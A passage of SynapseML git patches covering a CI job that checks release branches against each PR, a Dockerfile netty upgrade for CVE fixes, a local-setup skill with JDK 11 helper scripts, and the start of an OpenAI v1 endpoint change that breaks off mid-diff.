From d0bbeae840849661a9ff5feca1cd5e3af209ae39 Mon Sep 17 00:00:00 2001 From: smamindl <106691906+smamindl@users.noreply.github.com> Date: Fri, 17 Apr 2026 17:09:44 -0700 Subject: [PATCH 01/93] ci: add release branch compatibility check to PR validation (#2550) Add a ReleaseBranchCompat job that runs on every PR to master. It rebases each release branch (starting with spark4.0) onto the PR HEAD and runs sbt compile test:compile to catch breakage before it lands in master. - Non-blocking (continueOnError: true) - Matrix-based for easy expansion to more release branches - Reports merge conflicts and compile failures as warnings Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 114 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 114 insertions(+) diff --git a/pipeline.yaml b/pipeline.yaml index e9af40f5430..b516420612c 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -803,3 +803,117 @@ jobs: - template: templates/kv.yml - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: - template: templates/codecov.yml + +- job: ReleaseBranchCompat + displayName: 'Release Branch Compatibility Check' + cancelTimeoutInMinutes: 0 + timeoutInMinutes: 60 + continueOnError: true + condition: and(eq(variables.isPR, true), eq(variables['System.PullRequest.TargetBranch'], 'refs/heads/master')) + pool: + vmImage: $(UBUNTU_VERSION) + strategy: + matrix: + spark4.0: + RELEASE_BRANCH: spark4.0 + JAVA_VERSION: 17 + SBT_JAVA_OPTS: "-J--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED" + steps: + - checkout: self + fetchDepth: 0 + + - task: JavaToolInstaller@0 + displayName: 'Set up JDK $(JAVA_VERSION)' + inputs: + versionSpec: $(JAVA_VERSION) + jdkArchitectureOption: x64 + jdkSourceOption: PreInstalled + + - bash: | + set -e + echo "=== Current HEAD (PR merge commit) ===" + git log --oneline -1 + PR_HEAD=$(git rev-parse HEAD) + echo "PR HEAD: $PR_HEAD" + + echo "=== Fetching release branch $(RELEASE_BRANCH) ===" + git fetch origin $(RELEASE_BRANCH) + RELEASE_TIP=$(git rev-parse FETCH_HEAD) + echo "Release branch tip: $RELEASE_TIP" + + # Find commits unique to the release branch (not in master) + # These are the release-specific patches we need to replay + MASTER_BASE=$(git merge-base FETCH_HEAD $PR_HEAD) + UNIQUE_COMMITS=$(git rev-list --count $MASTER_BASE..$RELEASE_TIP) + echo "Release branch has $UNIQUE_COMMITS unique commit(s) to replay" + + echo "=== Attempting rebase of $(RELEASE_BRANCH) onto PR HEAD ===" + git checkout FETCH_HEAD + git rebase --onto $PR_HEAD $MASTER_BASE 2>&1 || { + echo "##vso[task.logissue type=warning]Rebase of $(RELEASE_BRANCH) onto this PR has merge conflicts" + echo "" + echo "=== Conflicting files ===" + git diff --name-only --diff-filter=U 2>/dev/null || true + git rebase --abort 2>/dev/null || true + exit 1 + } + echo "Rebase succeeded — $(RELEASE_BRANCH) patches apply cleanly onto this PR" + displayName: 'Rebase $(RELEASE_BRANCH) onto PR HEAD' + + - task: AzureCLI@2 + displayName: 'Compile $(RELEASE_BRANCH) after rebase' + timeoutInMinutes: 20 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + echo "=== Compiling $(RELEASE_BRANCH) rebased onto PR HEAD ===" + sbt $(SBT_JAVA_OPTS) compile test:compile + echo "$(RELEASE_BRANCH) compiles successfully after rebase" + + - task: AzureCLI@2 + displayName: 'Setup repo for tests' + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + (timeout 30s pip install requests) || (echo "retrying" && timeout 30s pip install requests) + (timeout 5m sbt $(SBT_JAVA_OPTS) setup) || (echo "retrying" && timeout 5m sbt $(SBT_JAVA_OPTS) setup) || (echo "retrying" && timeout 5m sbt $(SBT_JAVA_OPTS) setup) + + - template: templates/kv.yml + + - task: AzureCLI@2 + displayName: 'Unit tests on $(RELEASE_BRANCH) after rebase' + timeoutInMinutes: 60 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + echo "=== Running unit tests on $(RELEASE_BRANCH) rebased onto PR HEAD ===" + FAILURES=0 + for pkg in core automl causal featurize image isolationforest stages recommendation nn train vw opencv exploratory; do + echo "=== Testing $pkg ===" + if ! timeout 10m sbt $(SBT_JAVA_OPTS) "testOnly com.microsoft.azure.synapse.ml.$pkg.**"; then + echo "##vso[task.logissue type=warning]$pkg tests failed on $(RELEASE_BRANCH)" + FAILURES=$((FAILURES + 1)) + fi + done + if [ $FAILURES -gt 0 ]; then + echo "##vso[task.logissue type=warning]$FAILURES package(s) failed on $(RELEASE_BRANCH)" + exit 1 + fi + echo "All unit tests passed on $(RELEASE_BRANCH)" + + - task: PublishTestResults@2 + displayName: 'Publish $(RELEASE_BRANCH) Test Results' + inputs: + testResultsFiles: '**/test-reports/TEST-*.xml' + failTaskOnFailedTests: false + condition: succeededOrFailed() From b4ead5e4e340ac25e9b384a12f264eb3e92524ea Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Tue, 5 May 2026 11:45:04 -0700 Subject: [PATCH 02/93] fix: bump netty to 4.1.118 and drop duplicate pyspark in mmlspark/release demo image (#2557) Addresses MSRC case 110886 / incident 31000000570827. The mmlspark/release image (built from tools/docker/demo/Dockerfile) ships Spark 3.5.4, which pins netty 4.1.96.Final. That version is flagged for multiple CVEs (CVE-2023-44487, CVE-2024-29025, CVE-2025-24970, ...). Spark has not bumped netty in any 3.5.x release. netty 4.1.x is binary-compatible, so we replace all netty-*-4.1.96.Final*.jar files in /opt/spark/jars/ with 4.1.118.Final right after the Spark extract. This includes netty-codec-http2 (the specific artifact named by the finder). Also removes 'pyspark' from the conda install line. It was pulling a complete second Spark install (PySpark 4.0.1) into /usr/local/lib/python*/site-packages/pyspark/ that nothing in the demo image actually used (SPARK_HOME points at /opt/spark) and that doubled the surface area scanners report on. Validated locally: - /opt/spark/jars/netty-*-4.1.96.Final*.jar: 0 matches after build - /opt/spark/jars/netty-*-4.1.118.Final*.jar: full set present - /usr/local/lib/.../pyspark: no longer exists - spark-submit --version: works - spark.range(5).count(): returns 5 Jetty (shaded inside hadoop-client-runtime-3.3.4.jar at 9.4.43) is OUT OF SCOPE for this PR; that requires a Spark/Hadoop swap and will be tracked separately. --- tools/docker/demo/Dockerfile | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/tools/docker/demo/Dockerfile b/tools/docker/demo/Dockerfile index fc125751bea..95dc1ccf2e8 100644 --- a/tools/docker/demo/Dockerfile +++ b/tools/docker/demo/Dockerfile @@ -30,7 +30,7 @@ RUN curl -sSL https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64 && conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/main \ && conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/r \ && conda update -y conda \ - && conda install -y python=3 jupyter pyspark \ + && conda install -y python=3 jupyter \ && pip install --upgrade "PyJWT>=2.12.0" \ && conda clean --all --yes @@ -42,6 +42,21 @@ RUN wget https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SP && mv spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION} /opt/spark \ && rm spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz +# Patch netty 4.1.96.Final (CVE-2023-44487, CVE-2024-29025, CVE-2025-24970, ...) to 4.1.118.Final. +# Spark 3.5.x pins netty 4.1.96 upstream; we override in-place since 4.1.x is binary-compatible. +ENV NETTY_VERSION=4.1.118.Final +RUN cd /opt/spark/jars \ + && rm -f netty-*-4.1.96.Final*.jar \ + && for c in all buffer codec codec-http codec-http2 codec-socks common handler handler-proxy resolver transport transport-classes-epoll transport-classes-kqueue transport-native-unix-common; do \ + curl -fsSLO "https://repo1.maven.org/maven2/io/netty/netty-${c}/${NETTY_VERSION}/netty-${c}-${NETTY_VERSION}.jar"; \ + done \ + && for cls in linux-x86_64 linux-aarch_64; do \ + curl -fsSLO "https://repo1.maven.org/maven2/io/netty/netty-transport-native-epoll/${NETTY_VERSION}/netty-transport-native-epoll-${NETTY_VERSION}-${cls}.jar"; \ + done \ + && for cls in osx-x86_64 osx-aarch_64; do \ + curl -fsSLO "https://repo1.maven.org/maven2/io/netty/netty-transport-native-kqueue/${NETTY_VERSION}/netty-transport-native-kqueue-${NETTY_VERSION}-${cls}.jar"; \ + done + ENV SPARK_HOME /opt/spark ENV PYTHONPATH $SPARK_HOME/python/:$SPARK_HOME/python/lib/py4j*:$PYTHON_PATH ENV PATH $SPARK_HOME/bin/:$SPARK_HOME/python/:$PATH From 71e8e6dea77062a0d118886e0d026f8d6dcb01b3 Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Tue, 5 May 2026 15:37:08 -0700 Subject: [PATCH 03/93] chore: add SynapseML local setup skill (#2558) * chore: add SynapseML local setup skill ## Summary Add a project-scoped SynapseML agent skill that diagnoses local toolchain state, selects JDK 11 for SBT commands, runs a safe local Spark smoke test, and flags live-service tests before agents run them. ## Prompting Intent The engineer asked the agent to create a skill that helps any future agent get SynapseML working locally after the PR 2556 review exposed a local Java 21 and Scala 2.12 compiler-bridge failure. The engineer also asked to create a PR for the skill addition before continuing the original external PR review. ## Linked Sources - User request in current session: create a skill that will help any agent be able to get SynapseML working locally. - Follow-up user request in current session: create a PR for that skill addition and continue using it to review PR 2556. - Existing project-scoped skill convention: .agents/skills/code-review/SKILL.md. - Local validation output: doctor_status=ok, JDK 11 dry-run selected JAVA_HOME, smoke test passed, Azure Search tests flagged review_required. ## Rationale A project-scoped SynapseML skill keeps local setup guidance with the repository where future agents need it. The scripts use explicit parameters rather than session state, force JDK 11 for Scala 2.12 SBT commands, and include a live-service guard so agents do not accidentally create or delete Azure Search resources while validating changes. * chore: move SynapseML setup skill to Copilot path ## Summary Move the SynapseML local setup skill from `.agents/skills/` to `.github/skills/` so it uses the documented Copilot project-skill discovery path. ## Prompting Intent The engineer asked whether the `.agents` folder was correct and whether Copilot would pick it up. Investigation found that the local skill-authoring reference documents `.github/skills//` and `.claude/skills//` as project skill locations, so the open skill PR needed a path correction. ## Linked Sources - User question in current session: is this .agent folder correct? will copilot pick this up? - Skill-authoring reference: /home/brwals/.copilot/installed-plugins/copilot-toolkit-marketplace/common/skills/create-skill/references/REFERENCE.md - Existing PR: https://github.com/microsoft/SynapseML/pull/2558 ## Rationale The existing `.agents/skills/code-review` directory was only evidence of a repo-local convention, not evidence of Copilot discovery. Moving the new skill to `.github/skills/synapseml-local-setup/` keeps the same skill content while placing it in the documented project-skill path. --- .github/skills/synapseml-local-setup/SKILL.md | 91 ++++++++++++++++++ .../references/troubleshooting.md | 52 +++++++++++ .../scripts/check-live-service-tests.sh | 55 +++++++++++ .../scripts/synapseml-doctor.sh | 93 +++++++++++++++++++ .../scripts/synapseml-sbt.sh | 84 +++++++++++++++++ .../scripts/synapseml-smoke-test.sh | 48 ++++++++++ 6 files changed, 423 insertions(+) create mode 100644 .github/skills/synapseml-local-setup/SKILL.md create mode 100644 .github/skills/synapseml-local-setup/references/troubleshooting.md create mode 100755 .github/skills/synapseml-local-setup/scripts/check-live-service-tests.sh create mode 100755 .github/skills/synapseml-local-setup/scripts/synapseml-doctor.sh create mode 100755 .github/skills/synapseml-local-setup/scripts/synapseml-sbt.sh create mode 100755 .github/skills/synapseml-local-setup/scripts/synapseml-smoke-test.sh diff --git a/.github/skills/synapseml-local-setup/SKILL.md b/.github/skills/synapseml-local-setup/SKILL.md new file mode 100644 index 00000000000..8c2861de666 --- /dev/null +++ b/.github/skills/synapseml-local-setup/SKILL.md @@ -0,0 +1,91 @@ +--- +name: synapseml-local-setup +description: Set up and validate SynapseML locally in WSL or Linux. Use when an agent needs SynapseML working locally, runs sbt compile/test, sees Java 21, Scala 2.12 compiler-bridge, bad constant pool index, Spark, or local validation failures. +compatibility: Linux/WSL with bash, git, rg, sbt, and JDK 11 installed. Designed for the SynapseML repo. +--- + +# SynapseML Local Setup + +Use this skill before any local SynapseML build, compile, or test validation. + +## Important + +- Always use an explicit SynapseML repo path. +- Do not run SynapseML SBT with the machine default Java 21. Use JDK 11: + `/usr/lib/jvm/java-11-openjdk-amd64` +- Java 21 can fail before project code compiles with `bad constant pool index: 0` while building Scala 2.12 `compiler-bridge_2.12`. +- Compile commands are safe. Some cognitive service tests create, write, list, or delete real Azure resources. Inspect before running those tests and ask for approval if live resources are involved. + +## Workflow + +### 1. Diagnose the repo and toolchain + +Run [scripts/synapseml-doctor.sh](scripts/synapseml-doctor.sh): + +```bash +scripts/synapseml-doctor.sh --repo +``` + +Capture: + +- Git branch and dirty state. +- Default Java version. +- JDK 11 availability. +- sbt version and SynapseML Scala/Spark versions. + +### 2. Compile with JDK 11 + +Run [scripts/synapseml-sbt.sh](scripts/synapseml-sbt.sh): + +```bash +scripts/synapseml-sbt.sh --repo -- cognitive/Test/compile +``` + +Expected result: + +- sbt welcome line says Java 11. +- `core` and `cognitive` main/test classes compile. +- Command exits with `[success]`. + +### 3. Run a safe local smoke test + +Run [scripts/synapseml-smoke-test.sh](scripts/synapseml-smoke-test.sh): + +```bash +scripts/synapseml-smoke-test.sh --repo +``` + +Expected result: + +- One local Spark test runs. +- Output includes `All tests passed.` + +### 4. Inspect PR-specific tests before running them + +Before running service tests, run [scripts/check-live-service-tests.sh](scripts/check-live-service-tests.sh): + +```bash +scripts/check-live-service-tests.sh --path +``` + +If it reports live-service hooks, ask the user before running that suite. Do not create or delete Azure Search indexes just to test a PR. + +### 5. Run targeted tests only after safety review + +Use the JDK 11 wrapper for any targeted SBT command: + +```bash +scripts/synapseml-sbt.sh --repo -- '/testOnly -- -z ""' +``` + +If tests fail before compiling project code, load [references/troubleshooting.md](references/troubleshooting.md). + +## Known-good baseline + +On 2026-05-05, this setup was validated with: + +- JDK: `/usr/lib/jvm/java-11-openjdk-amd64` +- Java: `openjdk version "11.0.30"` +- SynapseML: Scala `2.12.17`, Spark `3.5.0`, sbt `1.10.11` +- Compile: `sbt 'cognitive/Test/compile'` succeeded. +- Smoke test: `UDFTransformerSuite` filtered test succeeded. diff --git a/.github/skills/synapseml-local-setup/references/troubleshooting.md b/.github/skills/synapseml-local-setup/references/troubleshooting.md new file mode 100644 index 00000000000..487fe246b81 --- /dev/null +++ b/.github/skills/synapseml-local-setup/references/troubleshooting.md @@ -0,0 +1,52 @@ +# SynapseML Local Setup Troubleshooting + +## Java 21 compiler bridge failure + +Failure signature: + +```text +Non-compiled module 'compiler-bridge_2.12' for Scala 2.12.17. Compiling... +bad constant pool index: 0 +while compiling: +library version: version 2.12.17 +compiler version: version 2.12.17 +``` + +Cause: the local default Java 21 runtime is not suitable for this SynapseML Scala 2.12 build path. + +Fix: + +```bash +export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64 +export PATH="$JAVA_HOME/bin:$PATH" +``` + +Then rerun SBT. + +## Known-good validation + +This was validated on 2026-05-05: + +```bash +sbt 'cognitive/Test/compile' +sbt 'core/testOnly com.microsoft.azure.synapse.ml.stages.UDFTransformerSuite -- -z "Apply inputCol after inputCols error"' +``` + +Results: + +- `cognitive/Test/compile` passed in 242 seconds. +- The filtered `UDFTransformerSuite` smoke test passed in under 10 seconds after compilation. + +## External service test safety + +Azure Search tests can create and delete real indexes. Search for live hooks before running: + +```bash +rg -n "beforeAll\\(|afterEach\\(|SearchIndex\\.createIfNoneExists|AzureSearchWriter\\.write\\(|AzureSearchWriter\\.stream\\(|getExisting\\(|deleteIndex" +``` + +If matches are present, inspect the suite and ask the user before running it. + +## Python notes + +SynapseML Python wrappers are generated from Scala. Do not edit generated files under `target/`. Use `sbt codegen` when wrapper regeneration is needed. diff --git a/.github/skills/synapseml-local-setup/scripts/check-live-service-tests.sh b/.github/skills/synapseml-local-setup/scripts/check-live-service-tests.sh new file mode 100755 index 00000000000..b7380b603cd --- /dev/null +++ b/.github/skills/synapseml-local-setup/scripts/check-live-service-tests.sh @@ -0,0 +1,55 @@ +#!/usr/bin/env bash +# SYNOPSIS +# Detect SynapseML test files that appear to call live external services. + +set -euo pipefail + +usage() { + cat <<'EOF' +Usage: check-live-service-tests.sh --path + +Searches for common live-service hooks in SynapseML tests. If matches are found, +ask the user before running the suite. +EOF +} + +target="" + +while [[ $# -gt 0 ]]; do + case "$1" in + --path) + target="${2:-}" + shift 2 + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "Unknown argument: $1" >&2 + usage >&2 + exit 2 + ;; + esac +done + +if [[ -z "$target" ]]; then + echo "Missing --path ." >&2 + usage >&2 + exit 2 +fi + +if [[ ! -e "$target" ]]; then + echo "Path does not exist: $target" >&2 + exit 2 +fi + +pattern='beforeAll\(|afterAll\(|afterEach\(|SearchIndex\.createIfNoneExists|AzureSearchWriter\.write\(|AzureSearchWriter\.stream\(|getExisting\(|deleteIndex|OpenAIEmbedding\(|CognitiveServices|Secrets\.|sys\.env\.getOrElse' + +if rg -n "$pattern" "$target"; then + echo "live_service_status=review_required" + echo "Do not run this suite without explicit user approval if it creates or mutates external resources." + exit 1 +else + echo "live_service_status=no_common_hooks_found" +fi diff --git a/.github/skills/synapseml-local-setup/scripts/synapseml-doctor.sh b/.github/skills/synapseml-local-setup/scripts/synapseml-doctor.sh new file mode 100755 index 00000000000..5e2aabd952b --- /dev/null +++ b/.github/skills/synapseml-local-setup/scripts/synapseml-doctor.sh @@ -0,0 +1,93 @@ +#!/usr/bin/env bash +# SYNOPSIS +# Diagnose whether a SynapseML repo is ready for local SBT validation. + +set -euo pipefail + +usage() { + cat <<'EOF' +Usage: synapseml-doctor.sh --repo [--jdk ] + +Checks repo shape, git state, default Java, JDK 11 availability, sbt, and +SynapseML Scala/Spark versions. Does not compile or run tests. +EOF +} + +repo="" +jdk="/usr/lib/jvm/java-11-openjdk-amd64" + +while [[ $# -gt 0 ]]; do + case "$1" in + --repo) + repo="${2:-}" + shift 2 + ;; + --jdk) + jdk="${2:-}" + shift 2 + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "Unknown argument: $1" >&2 + usage >&2 + exit 2 + ;; + esac +done + +if [[ -z "$repo" ]]; then + echo "ERROR repo path is required. Pass --repo ." >&2 + exit 2 +fi + +if [[ ! -d "$repo" ]]; then + echo "ERROR repo path does not exist: $repo" >&2 + exit 2 +fi + +if [[ ! -f "$repo/build.sbt" || ! -f "$repo/project/build.properties" ]]; then + echo "ERROR path does not look like a SynapseML sbt repo: $repo" >&2 + exit 2 +fi + +echo "repo=$repo" +echo "repo_status=ok" + +if git -C "$repo" rev-parse --is-inside-work-tree >/dev/null 2>&1; then + echo "git_head=$(git -C "$repo" rev-parse --short HEAD)" + echo "git_branch=$(git -C "$repo" branch --show-current || true)" + dirty_count="$(git -C "$repo" status --short | wc -l | tr -d ' ')" + echo "git_dirty_count=$dirty_count" +else + echo "git_status=not-a-git-worktree" +fi + +echo "default_java=$(command -v java || true)" +if command -v java >/dev/null 2>&1; then + java -version 2>&1 | sed 's/^/default_java_version: /' +fi + +if [[ -x "$jdk/bin/java" ]]; then + echo "jdk11=$jdk" + "$jdk/bin/java" -version 2>&1 | sed 's/^/jdk11_version: /' +else + echo "ERROR jdk11_missing=$jdk/bin/java" >&2 + echo "Install JDK 11 or pass --jdk ." >&2 + exit 3 +fi + +if command -v sbt >/dev/null 2>&1; then + echo "sbt=$(command -v sbt)" + sbt --script-version 2>/dev/null | sed 's/^/sbt_runner_version: /' || true +else + echo "ERROR sbt_missing=true" >&2 + exit 3 +fi + +sed -n '1,20p' "$repo/project/build.properties" | sed 's/^/build_properties: /' +rg -n 'scalaVersion|sparkVersion' "$repo/build.sbt" | sed 's/^/build_sbt: /' || true + +echo "doctor_status=ok" diff --git a/.github/skills/synapseml-local-setup/scripts/synapseml-sbt.sh b/.github/skills/synapseml-local-setup/scripts/synapseml-sbt.sh new file mode 100755 index 00000000000..59e2a477c9f --- /dev/null +++ b/.github/skills/synapseml-local-setup/scripts/synapseml-sbt.sh @@ -0,0 +1,84 @@ +#!/usr/bin/env bash +# SYNOPSIS +# Run SynapseML sbt commands with JDK 11 by default. + +set -euo pipefail + +usage() { + cat <<'EOF' +Usage: synapseml-sbt.sh --repo [--jdk ] [--dry-run] -- [ ...] + +Runs sbt in a SynapseML checkout with JAVA_HOME set to JDK 11 by default. +EOF +} + +repo="" +jdk="/usr/lib/jvm/java-11-openjdk-amd64" +dry_run=0 + +while [[ $# -gt 0 ]]; do + case "$1" in + --repo) + repo="${2:-}" + shift 2 + ;; + --jdk) + jdk="${2:-}" + shift 2 + ;; + --dry-run) + dry_run=1 + shift + ;; + --) + shift + break + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "Unknown argument before --: $1" >&2 + usage >&2 + exit 2 + ;; + esac +done + +if [[ -z "$repo" ]]; then + echo "Missing --repo ." >&2 + usage >&2 + exit 2 +fi + +if [[ $# -eq 0 ]]; then + echo "Missing sbt command after --." >&2 + usage >&2 + exit 2 +fi + +if [[ ! -f "$repo/build.sbt" || ! -f "$repo/project/build.properties" ]]; then + echo "Path does not look like a SynapseML sbt repo: $repo" >&2 + exit 2 +fi + +if [[ ! -x "$jdk/bin/java" ]]; then + echo "JDK java executable not found: $jdk/bin/java" >&2 + exit 2 +fi + +export JAVA_HOME="$jdk" +export PATH="$JAVA_HOME/bin:$PATH" + +echo "repo=$repo" +echo "JAVA_HOME=$JAVA_HOME" +java -version 2>&1 | sed 's/^/java: /' +echo "sbt_args=$*" + +if [[ "$dry_run" -eq 1 ]]; then + exit 0 +fi + +cd "$repo" +exec sbt "$@" diff --git a/.github/skills/synapseml-local-setup/scripts/synapseml-smoke-test.sh b/.github/skills/synapseml-local-setup/scripts/synapseml-smoke-test.sh new file mode 100755 index 00000000000..a4f0c2bcb19 --- /dev/null +++ b/.github/skills/synapseml-local-setup/scripts/synapseml-smoke-test.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +# SYNOPSIS +# Run a safe local SynapseML Spark smoke test with JDK 11. + +set -euo pipefail + +usage() { + cat <<'EOF' +Usage: synapseml-smoke-test.sh --repo [--jdk ] + +Runs a filtered core UDFTransformerSuite test that does not touch external services. +EOF +} + +repo="" +jdk="/usr/lib/jvm/java-11-openjdk-amd64" + +while [[ $# -gt 0 ]]; do + case "$1" in + --repo) + repo="${2:-}" + shift 2 + ;; + --jdk) + jdk="${2:-}" + shift 2 + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "Unknown argument: $1" >&2 + usage >&2 + exit 2 + ;; + esac +done + +if [[ -z "$repo" ]]; then + echo "Missing --repo ." >&2 + usage >&2 + exit 2 +fi + +script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +exec "$script_dir/synapseml-sbt.sh" --repo "$repo" --jdk "$jdk" -- \ + 'core/testOnly com.microsoft.azure.synapse.ml.stages.UDFTransformerSuite -- -z "Apply inputCol after inputCols error"' From 30cda270825fbec1be8fef2bec944ce09b344c3e Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Tue, 19 May 2026 19:21:27 -0700 Subject: [PATCH 04/93] feat: Add v1 OpenAI endpoint support and remove legacy completions API (#2560) * Add v1 OpenAI Endpoint support and remove legacy completions API * Fix FuzzingUnitTest * Add test to increase code coverage * Make v1 api assumption cleaner * Add OpenAICompletion deprecation * Remove deprecation warnings * Fix RAI test for OpenAIPrompt * Revert "Add OpenAICompletion deprecation" This reverts commit fa708e25cbacebd959bd2ca3ef9573a9d0bb8670. * Revert "Fix RAI test for OpenAIPrompt" This reverts commit 3ed60449fe0ef594e742b24c701040e2b3624e8d. * Revert "Remove deprecation warnings" This reverts commit 9a40c5c21ff9ffbdb0ed04cd3eb10703a5569165. * Reapply "Remove deprecation warnings" This reverts commit 987484ceee2c2dd89b1b04ef104b0c716695ef6a. * Reapply "Fix RAI test for OpenAIPrompt" This reverts commit f06f1ade547f4dbfec418159af5795aa626d57ab. * Reapply "Add OpenAICompletion deprecation" This reverts commit 10715cd4c20ef80b0b318e27710a3027f5bd5236. --- .../ml/services/openai/OpenAICompletion.py | 29 ++ .../aifoundry/AIFoundryChatCompletion.scala | 5 +- .../synapse/ml/services/openai/OpenAI.scala | 84 +++-- .../openai/OpenAIChatCompletion.scala | 8 +- .../ml/services/openai/OpenAICompletion.scala | 75 ---- .../ml/services/openai/OpenAIDefaults.scala | 3 +- .../ml/services/openai/OpenAIEmbedding.scala | 18 +- .../ml/services/openai/OpenAIPrompt.scala | 20 +- .../ml/services/openai/OpenAIResponses.scala | 9 +- .../ml/services/openai/OpenAISchemas.scala | 19 - .../openai/test_OpenAICompletionDeprecated.py | 68 ++++ .../openai/OpenAIChatCompletionSuite.scala | 28 ++ .../openai/OpenAICompletionSuite.scala | 88 ----- .../services/openai/OpenAIPromptSuite.scala | 20 +- .../openai/OpenAIV1EndpointSuite.scala | 345 ++++++++++++++++++ .../synapse/ml/causal/DoubleMLEstimator.scala | 2 +- .../ml/causal/OrthoForestDMLEstimator.scala | 2 +- .../ml/causal/ResidualTransformer.scala | 4 +- .../azure/synapse/ml/codegen/PyCodegen.scala | 29 +- .../ml/core/utils/CloseableIterator.scala | 3 - .../azure/synapse/ml/param/GlobalParams.scala | 23 +- docs/Explore Algorithms/OpenAI/OpenAI.ipynb | 226 +----------- ...- OpenAI Embedding and GPU based KNN.ipynb | 2 +- .../Quickstart - OpenAI Embedding.ipynb | 2 +- .../Set up Cognitive Services.ipynb | 2 +- tools/docgen/docgen/manifest.yaml | 4 +- 26 files changed, 636 insertions(+), 482 deletions(-) create mode 100644 cognitive/src/main/python/synapse/ml/services/openai/OpenAICompletion.py delete mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletion.scala create mode 100644 cognitive/src/test/python/synapsemltest/services/openai/test_OpenAICompletionDeprecated.py delete mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletionSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala diff --git a/cognitive/src/main/python/synapse/ml/services/openai/OpenAICompletion.py b/cognitive/src/main/python/synapse/ml/services/openai/OpenAICompletion.py new file mode 100644 index 00000000000..6b3df7ec9c2 --- /dev/null +++ b/cognitive/src/main/python/synapse/ml/services/openai/OpenAICompletion.py @@ -0,0 +1,29 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import warnings + +__all__ = ["OpenAICompletion"] + +_OPENAI_COMPLETION_DEPRECATION_MESSAGE = ( + "OpenAICompletion has been removed because the legacy OpenAI Completions API " + "is deprecated and retired. Use OpenAIResponses, OpenAIChatCompletion, or " + "OpenAIPrompt with setApiType('chat_completions') or setApiType('responses') instead." +) + + +def warn_openai_completion_deprecated(stacklevel=2): + warnings.warn( + _OPENAI_COMPLETION_DEPRECATION_MESSAGE, + FutureWarning, + stacklevel=stacklevel, + ) + + +warn_openai_completion_deprecated(stacklevel=2) + + +class OpenAICompletion: + def __init__(self, *args, **kwargs): + warn_openai_completion_deprecated(stacklevel=2) + raise RuntimeError(_OPENAI_COMPLETION_DEPRECATION_MESSAGE) diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/aifoundry/AIFoundryChatCompletion.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/aifoundry/AIFoundryChatCompletion.scala index 198a8a07c14..306b9fcf787 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/aifoundry/AIFoundryChatCompletion.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/aifoundry/AIFoundryChatCompletion.scala @@ -58,9 +58,8 @@ class AIFoundryChatCompletion(override val uid: String) extends OpenAIChatComple setUrl(s"https://$v.services.ai.azure.com/" + urlPath.stripPrefix("/")) } - override protected def prepareUrlRoot: Row => String = { row => - s"${getUrl}models/chat/completions" + override protected def prepareUrlRoot: Row => String = { _ => + endpointUrl("models/chat/completions") } } - diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAI.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAI.scala index 2af6b308ce0..0f453dbc438 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAI.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAI.scala @@ -14,33 +14,9 @@ import org.apache.spark.sql.Row import org.apache.spark.sql.types._ import spray.json.DefaultJsonProtocol._ +import java.util.Locale import scala.language.existentials -trait HasPromptInputs extends HasServiceParams { - val prompt: ServiceParam[String] = new ServiceParam[String]( - this, "prompt", "The text to complete", isRequired = false) - - def getPrompt: String = getScalarParam(prompt) - - def setPrompt(v: String): this.type = setScalarParam(prompt, v) - - def getPromptCol: String = getVectorParam(prompt) - - def setPromptCol(v: String): this.type = setVectorParam(prompt, v) - - val batchPrompt: ServiceParam[Seq[String]] = new ServiceParam[Seq[String]]( - this, "batchPrompt", "Sequence of prompts to complete", isRequired = false) - - def getBatchPrompt: Seq[String] = getScalarParam(batchPrompt) - - def setBatchPrompt(v: Seq[String]): this.type = setScalarParam(batchPrompt, v) - - def getBatchPromptCol: String = getVectorParam(batchPrompt) - - def setBatchPromptCol(v: String): this.type = setVectorParam(batchPrompt, v) - -} - trait 